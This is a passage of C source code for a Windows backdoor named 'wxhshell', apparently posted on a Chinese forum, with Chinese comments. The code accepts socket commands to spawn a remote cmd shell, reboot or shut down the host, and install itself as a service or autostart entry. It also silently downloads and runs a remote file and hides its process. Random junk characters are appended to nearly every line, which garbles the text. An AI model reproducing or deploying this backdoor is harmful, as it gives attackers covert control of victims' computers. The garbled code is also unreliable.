    if(Install()) 6mF{ImbRbS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4I#eC#"  
    else mj(&`HRs4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e@,u`{C[  
    break; :Hf0Qx6  
    } 4$?w D <  
  // 卸载 zOao&  
  case 'r': { inPdV9  
    if(Uninstall()) =(|xU?OL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C7jc6(> m  
    else /\-2l+y>J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =,C9O  
    break; 3u?`q%Y-e  
    } y3KcM#[  
  // 显示 wxhshell 所在路径 ra9cD"/J &  
  case 'p': { =##s;zj(%  
    char svExeFile[MAX_PATH]; i (%tHa37  
    strcpy(svExeFile,"\n\r"); gaw4NZd)0  
      strcat(svExeFile,ExeFile); KYkS6|A  
        send(wsh,svExeFile,strlen(svExeFile),0); L*UV  
    break; ~ gfA](N  
    } }l}yn@hYC  
  // 重启 pVV}1RDa  
  case 'b': { vhYMWfbY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `dgM|.w5=  
    if(Boot(REBOOT)) !O F?xW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Y@!:p- H  
    else { >St. &#c  
    closesocket(wsh); f E.L  
    ExitThread(0); s,$Z ("B  
    } WG8iTVwx  
    break; y7M:b Uh  
    } ?y>Y$-v/C  
  // 关机 @3 -,=x  
  case 'd': { a)_rka1(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J+}+ "h~.  
    if(Boot(SHUTDOWN)) /]/>jz>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,W1a<dl  
    else { BLL]^qN;Y  
    closesocket(wsh); Q$|^~  
    ExitThread(0); R,x>$n  
    } GP[6nw_'^  
    break; <DeKs?v  
    } Ue{vg$5||  
  // 获取shell Sg.+`xww3  
  case 's': { }x kLD!  
    CmdShell(wsh); ?~aZ#%*i8  
    closesocket(wsh); $Wr\ [P:  
    ExitThread(0); tLD~  
    break; *t#s$Ga  
  } poXLy/K  
  // 退出 @%EE0)IA  
  case 'x': { XOysgX0g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gf68iR.Gs  
    CloseIt(wsh); Gh]_L+  
    break; hncS_ZA  
    } Pv/Pww \  
  // 离开 )|w*/JK\Z  
  case 'q': { =y< ">-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ET,Q3X\Oe  
    closesocket(wsh); W NwJM  
    WSACleanup(); s;fVnaqG:  
    exit(1); eeW' [  
    break; L bJtpwz>z  
        } 0$eyT-:d  
  } ~9JW#HHzn  
  } |'V DI]p&  
O!+nF]V4f  
  // 提示信息 L@{!r=%_>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )p$\gwr=2  
} M11"<3]D  
  } ^Yj"RM$;N  
Q'Jv} 'eK_  
  return; Ni2]6U  
} 9 z5"y|$  
,c4c@|Bh?  
// shell模块句柄 "El^38Ho  
int CmdShell(SOCKET sock) G1kaF/`O  
{ Z69+yOJI  
STARTUPINFO si; N#(jK1` y  
ZeroMemory(&si,sizeof(si)); D9qX->p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qs|OG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,M\j%3  
PROCESS_INFORMATION ProcessInfo; J0^{,eY<  
char cmdline[]="cmd"; cPpu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5cD XWF  
  return 0; h [nH<m  
} n?'d|h  
&EAk z  
// 自身启动模式 [096CK  
int StartFromService(void) ]>tq|R78  
{ ;yF[2P ;  
typedef struct 0o=!j3RjH  
{ cu[!D}tVU  
  DWORD ExitStatus; 5^)?mA  
  DWORD PebBaseAddress; #v.L$7O  
  DWORD AffinityMask; \'n$&PFe  
  DWORD BasePriority; X'cf&>h  
  ULONG UniqueProcessId; r%0pQEl  
  ULONG InheritedFromUniqueProcessId; [NYj.#,oR  
}   PROCESS_BASIC_INFORMATION; IE&_!ce  
`5~7IPl3  
PROCNTQSIP NtQueryInformationProcess; rmOQ{2}  
h^}_YaT\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }o-|8P:Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `vudS?  
+'-rTi\  
  HANDLE             hProcess; bfFmTI$,  
  PROCESS_BASIC_INFORMATION pbi; 31WZJm^  
|2z}Xm5\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {tPnj_|n<  
  if(NULL == hInst ) return 0; m"n.Dz/S  
\CcmePTN#x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (nGkZ}p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i-`,/e~XT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HtxLMzgz<<  
br b[})}  
  if (!NtQueryInformationProcess) return 0; g^1r0.Sp{8  
j5kA^MTG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^w>&?A'!  
  if(!hProcess) return 0; r,5-XB  
o6*/o ]]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [M4xZHd#o  
sF y]+DB  
  CloseHandle(hProcess); yL.^ =  
+Y7Pg'35  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M~-h-tG  
if(hProcess==NULL) return 0; V|TA:&:7  
 L#n}e7Y9  
HMODULE hMod; H ZPcd_(  
char procName[255]; L^lS^P  
unsigned long cbNeeded; tyB)HF  
8$ic~eJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 29%=:*R$  
(wife#)~  
  CloseHandle(hProcess); hGvqT,'  
d>&\V)E  
if(strstr(procName,"services")) return 1; // 以服务启动 -TgUyv.  
^\MhT)x  
  return 0; // 注册表启动 Yt{ji  
} T)8p:}P!  
@: Z#E[N H  
// 主模块 {(;B5rs  
int StartWxhshell(LPSTR lpCmdLine) L_^`k4ct  
{ cv= \g Z  
  SOCKET wsl; EJ G2^DSS  
BOOL val=TRUE; "=qv#mZ#9  
  int port=0; z=qWJQ  
  struct sockaddr_in door; mmHJ h\2v  
V~85oUc\-  
  if(wscfg.ws_autoins) Install(); GA\2i0ow  
Tw x{' S  
port=atoi(lpCmdLine); H<,bq*@  
Uj,g]e 8e  
if(port<=0) port=wscfg.ws_port; *6XRjq^#  
EY~7oNfc`R  
  WSADATA data; ! tGiTzzp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UxeL cUP  
y1iX!m~)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [m\,+lG?)j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8'KMxR  
  door.sin_family = AF_INET; iX{H,- C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bo1I&I  
  door.sin_port = htons(port); .3@Ng  
hfg O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (etUEb^}T  
closesocket(wsl); yw'ezpO"  
return 1; JA<~xo[Q9  
} gKWzFnW  
GMdI0jaG#  
  if(listen(wsl,2) == INVALID_SOCKET) { AF GwT%ZD  
closesocket(wsl); KSc~GP _  
return 1; j{)~QD?  
} @ u+|=x];  
  Wxhshell(wsl); ZOuR"9]  
  WSACleanup(); eQ<xp A  
OF8WDo`  
return 0; 12lEs3  
4:U0f;Fs  
} dKm`14f]@G  
Aq"PG}Ic  
// 以NT服务方式启动 yX'IZk#_L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KaW~ERx5  
{ i:d`{kJ|[  
DWORD   status = 0; ,Aj }]h\L  
  DWORD   specificError = 0xfffffff; wu2:'y>n  
#EG?9T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1i3V!!r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /'4Q{8.a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EjSD4  
  serviceStatus.dwWin32ExitCode     = 0; yp p4L|R  
  serviceStatus.dwServiceSpecificExitCode = 0; 4{Udz!  
  serviceStatus.dwCheckPoint       = 0; 9#Y2`p T  
  serviceStatus.dwWaitHint       = 0; zmb@*/fK  
p![&8i@ym  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J)*8|E9P  
  if (hServiceStatusHandle==0) return; s`c?:  
j=W@P-  
status = GetLastError(); C`0%C7  
  if (status!=NO_ERROR) |{f~Ks%  
{ VjB*{,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kwlC[G$j7  
    serviceStatus.dwCheckPoint       = 0; .!yq@Q|=u  
    serviceStatus.dwWaitHint       = 0; 4fty~0i=z  
    serviceStatus.dwWin32ExitCode     = status; uoCGSXsi  
    serviceStatus.dwServiceSpecificExitCode = specificError; Szts<n5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fg=v6j4W  
    return; sKd)BA0`  
  } bnr|Y!T}Bi  
s@~/x5jwCs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hJ[UB  
  serviceStatus.dwCheckPoint       = 0; N@()F&e  
  serviceStatus.dwWaitHint       = 0; r?^"6 5 =  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2r;GcjezH  
} 6vobta^w  
\Yq0 zVol  
// 处理NT服务事件,比如:启动、停止 "0-y*1/m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qlUzr.^-  
{ B+46.bIH  
switch(fdwControl) ! =WcF5  
{ H)5QqZ8  
case SERVICE_CONTROL_STOP: tpo>1|  
  serviceStatus.dwWin32ExitCode = 0; F7T E|LZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]fE3s{y &-  
  serviceStatus.dwCheckPoint   = 0; p=B?/Sqa  
  serviceStatus.dwWaitHint     = 0; l.oBcg[  
  { -B 9S}NPo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q- :4=vkn  
  } yW("G-Nm  
  return; d}-'<Z#G  
case SERVICE_CONTROL_PAUSE: xNX'~B^4d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j"hASBTgp  
  break; TQJF+;%  
case SERVICE_CONTROL_CONTINUE: t',BI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v=p0 +J>  
  break; 9p`r7:  
case SERVICE_CONTROL_INTERROGATE: JIxiklk  
  break; M&yqfb[  
}; J=*K"8Qr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )GJP_*Ab  
} v[&'k\  
,I`_F,  
// 标准应用程序主函数 tD-gc ''H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _whF^g8  
{ HO5d%85  
a$m_D!b~_  
// 获取操作系统版本 9m8ee&,  
OsIsNt=GetOsVer(); tU:FX[&?R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qq3fZ=  
`6F +Rrn  
  // 从命令行安装 G{o+R]Us  
  if(strpbrk(lpCmdLine,"iI")) Install(); z+/LS5$  
}OrYpZob  
  // 下载执行文件 /DO'IHC.o  
if(wscfg.ws_downexe) { Rla4L`X;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kcS6_l  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3LW[H+k  
} >a=d;  
>^3zU   
if(!OsIsNt) { C[YnrI!  
// 如果时win9x,隐藏进程并且设置为注册表启动 +'XhC#:  
HideProc(); l^r' $;<m  
StartWxhshell(lpCmdLine); Mr* |9h  
} S$O,] @)  
else 2EfflZL3  
  if(StartFromService()) "HC)/)Mv@  
  // 以服务方式启动 8=Q V N_  
  StartServiceCtrlDispatcher(DispatchTable); GuO`jz F  
else frqJN  
  // 普通方式启动 z*LiweR-  
  StartWxhshell(lpCmdLine); hZN<Yd8:  
~G `J r  
return 0; C3S`}o.  
}
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只看该作者 1 发表于: 2006-10-10
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